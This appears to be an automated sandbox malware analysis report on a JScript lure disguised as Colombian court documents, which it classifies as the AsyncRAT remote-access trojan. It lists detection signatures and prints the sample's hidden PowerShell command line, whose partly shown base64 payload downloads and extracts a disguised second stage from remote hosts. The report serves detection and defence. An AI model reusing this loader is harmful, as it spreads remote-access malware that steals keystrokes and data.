Windows
Analysis Report
Documentos_de_la_demanda_penal_en_su_contra_juzgado_03_de_bogota_6ciu345n (7).js
Overview
General Information
Detection
AsyncRAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
JScript performs obfuscated calls to suspicious functions
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected AsyncRAT
Yara detected MSILDownloaderGeneric
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected UAC Bypass using CMSTP
.NET source code contains potential unpacker
Contains functionality to log keystrokes (.Net Source)
Creates autostart registry keys with suspicious values (likely registry only malware)
Injects a PE file into a foreign processes
JavaScript source code contains functionality to generate code involving a shell, file or stream
Joe Sandbox ML detected suspicious sample
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7548 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Docum entos_de_l a_demanda_ penal_en_s u_contra_j uzgado_03_ de_bogota_ 6ciu345n ( 7).js" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 7776 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -nop -w hi dden -c "$ embolic = 'JABjAGgAb wBuAGQAcgB vAHMAdABvA G0AYQAgAD0 AIAAnACYAZ QA1ADUAMQA 0ADUAMQA1A GQAOQA3ADU AOABlAGEAZ gBhAGIAMQA wADIANgAzA GQAYwA1ADY AOAA1ADcAZ gAxADcAZQA 4ADgAMgAwA GQAOQA0ADA AMQBkAGYAY QA2ADMAOQA 5ADQANQA2A GUANAA1AGU AMgBjADIAN AAwAGIAZAA 9AG0AaAAmA DEAZgAxADA AYgAwADgAN gA9AHMAaQA mADEANwAzA DUAYwAwADg ANgA9AHgAZ QA/ACMAeAA jAC4AZQBsA GkARgBkAGU AIwByAGUAd gBuAG8AQwA vADMAOAA2A DUAMwAyADI AMwAyADcAO AA5ADYAOAA 5ADQANgAzA DEALwA1ADU AMgAxADcAN QAwADUAMQA 2ADkANQA2A DEAMQA0ADU AMwAxAC8Ac wAjAG4AZQB tAGgAYwBhA CMAIwBhAC8 AbQBvAGMAL gBwAHAAYQB kAHIAbwBjA HMAaQBkAC4 AbgBkAGMAL wAvADoAcwB wACMAIwBoA CcAOwAkAHA AcgBlAHMAY wByAGkAYgB pAG4AZwAgA D0AIAAkAGM AaABvAG4AZ AByAG8AcwB 0AG8AbQBhA CAALQByAGU AcABsAGEAY wBlACAAJwA jACcALAAgA CcAdAAnADs AJABwAHkAc gBvAGcAbgB vAHMAdABpA GMAcwAgAD0 AIAAnAGgAd AB0AHAAcwA 6AC8ALwBhA HIAYwBoAGk AdgBlAC4Ab wByAGcALwB kAG8AdwBuA GwAbwBhAGQ ALwBuAGUAd wBfAGkAbQB hAGcAZQBfA DIAMAAyADU AMAA0ADEAM wAvAG4AZQB 3AF8AaQBtA GEAZwBlAC4 AagBwAGcAJ wA7ACQAbQB lAHIAYwBoA GEAbgB0AGU AcgAgAD0AI ABOAGUAdwA tAE8AYgBqA GUAYwB0ACA AUwB5AHMAd ABlAG0ALgB OAGUAdAAuA FcAZQBiAEM AbABpAGUAb gB0ADsAJAB tAGUAcgBjA GgAYQBuAHQ AZQByAC4AS ABlAGEAZAB lAHIAcwAuA EEAZABkACg AJwBVAHMAZ QByAC0AQQB nAGUAbgB0A CcALAAnAE0 AbwB6AGkAb ABsAGEALwA 1AC4AMAAnA CkAOwAkAGg AYQBsAHQAZ QByAGkAYQA gAD0AIAAkA G0AZQByAGM AaABhAG4Ad ABlAHIALgB EAG8AdwBuA GwAbwBhAGQ ARABhAHQAY QAoACQAcAB 5AHIAbwBnA G4AbwBzAHQ AaQBjAHMAK QA7ACQAYwB hAHIAcABlA HQAYgBhAGc AZwBpAG4AZ wAgAD0AIAB bAFMAeQBzA HQAZQBtAC4 AVABlAHgAd AAuAEUAbgB jAG8AZABpA G4AZwBdADo AOgBVAFQAR gA4AC4ARwB lAHQAUwB0A HIAaQBuAGc AKAAkAGgAY QBsAHQAZQB yAGkAYQApA DsAJAByAGg AYQBiAGQAb wBtAGEAbgB 0AGkAcwB0A CAAPQAgACc APAA8AEIAQ QBTAEUANgA 0AF8AUwBUA EEAUgBUAD4 APgAnADsAJ ABmAHIAdQB pAHQAZQByA GUAcgBzACA APQAgACcAP AA8AEIAQQB TAEUANgA0A F8ARQBOAEQ APgA+ACcAO wAkAG8AdgB lAHIAZgBsA GkAZwBoAHQ AcwAgAD0AI AAkAGMAYQB yAHAAZQB0A GIAYQBnAGc AaQBuAGcAL gBJAG4AZAB lAHgATwBmA CgAJAByAGg AYQBiAGQAb wBtAGEAbgB 0AGkAcwB0A CkAOwAkAHA AbABlAG8Ab QBhAHoAaQB hACAAPQAgA CQAYwBhAHI AcABlAHQAY gBhAGcAZwB pAG4AZwAuA EkAbgBkAGU AeABPAGYAK AAkAGYAcgB 1AGkAdABlA HIAZQByAHM AKQA7ACQAb wB2AGUAcgB mAGwAaQBnA GgAdABzACA ALQBnAGUAI AAwACAALQB hAG4AZAAgA CQAcABsAGU AbwBtAGEAe gBpAGEAIAA tAGcAdAAgA CQAbwB2AGU AcgBmAGwAa QBnAGgAdAB zADsAJABvA HYAZQByAGY AbABpAGcAa AB0AHMAIAA rAD0AIAAkA HIAaABhAGI AZABvAG0AY QBuAHQAaQB zAHQALgBMA GUAbgBnAHQ AaAA7ACQAQ gB1AHgAdQB zACAAPQAgA CQAcABsAGU AbwBtAGEAe gBpAGEAIAA tACAAJABvA HYAZQByAGY AbABpAGcAa AB0AHMAOwA kAGIAbABpA G4AZwB5ACA APQAgACQAY wBhAHIAcAB lAHQAYgBhA GcAZwBpAG4 AZwAuAFMAd QBiAHMAdAB yAGkAbgBnA CgAJABvAHY AZQByAGYAb ABpAGcAaAB